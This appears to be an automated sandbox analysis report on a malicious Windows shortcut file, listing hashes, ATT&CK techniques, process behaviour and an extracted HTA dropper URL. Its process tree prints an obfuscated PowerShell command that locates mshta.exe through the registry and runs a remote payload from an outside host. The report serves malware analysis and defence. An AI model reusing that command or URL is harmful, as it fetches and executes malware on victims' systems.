a6d1a352c9897c96797c7bdc7599b07b3c6704655de2beacb3523eb04cbac6eb

Analysis

max time kernel
12s
max time network
19s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
09/09/2024, 16:04

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General

Target

a6d1a352c9897c96797c7bdc7599b07b3c6704655de2beacb3523eb04cbac6eb.lnk
Size

1KB
MD5

0bcd24976d909128816f96bbc348a930
SHA1

2cc99b933d8ae1dd8d35bc6d893e53f0ed008a97
SHA256

a6d1a352c9897c96797c7bdc7599b07b3c6704655de2beacb3523eb04cbac6eb
SHA512

2dbaaa3c9f23af0530d527d1a5426486d2f88e46a0147aca472a6f23bb14bdb430e4422140a5fc827a20c424c1bc342189c5e7aa176256e9ec5133f85b0cadad

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://ftp.alphaglobal.pt/b.cod

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2496	mshta.exe
6	2496	mshta.exe
7	2496	mshta.exe
8	2496	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2980	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1872 wrote to memory of 2980	1872	cmd.exe	31
PID 1872 wrote to memory of 2980	1872	cmd.exe	31
PID 1872 wrote to memory of 2980	1872	cmd.exe	31
PID 2980 wrote to memory of 2496	2980	powershell.exe	32
PID 2980 wrote to memory of 2496	2980	powershell.exe	32
PID 2980 wrote to memory of 2496	2980	powershell.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\a6d1a352c9897c96797c7bdc7599b07b3c6704655de2beacb3523eb04cbac6eb.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://ftp.alphaglobal.pt/b.cod
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://ftp.alphaglobal.pt/b.cod
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:2496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2980-38-0x000007FEF4F1E000-0x000007FEF4F1F000-memory.dmp

Filesize
4KB

Download
memory/2980-39-0x000000001B3E0000-0x000000001B6C2000-memory.dmp

Filesize
2.9MB

Download
memory/2980-40-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2980-41-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download
memory/2980-42-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download
memory/2980-43-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download
memory/2980-44-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download
memory/2980-46-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download
memory/2980-45-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download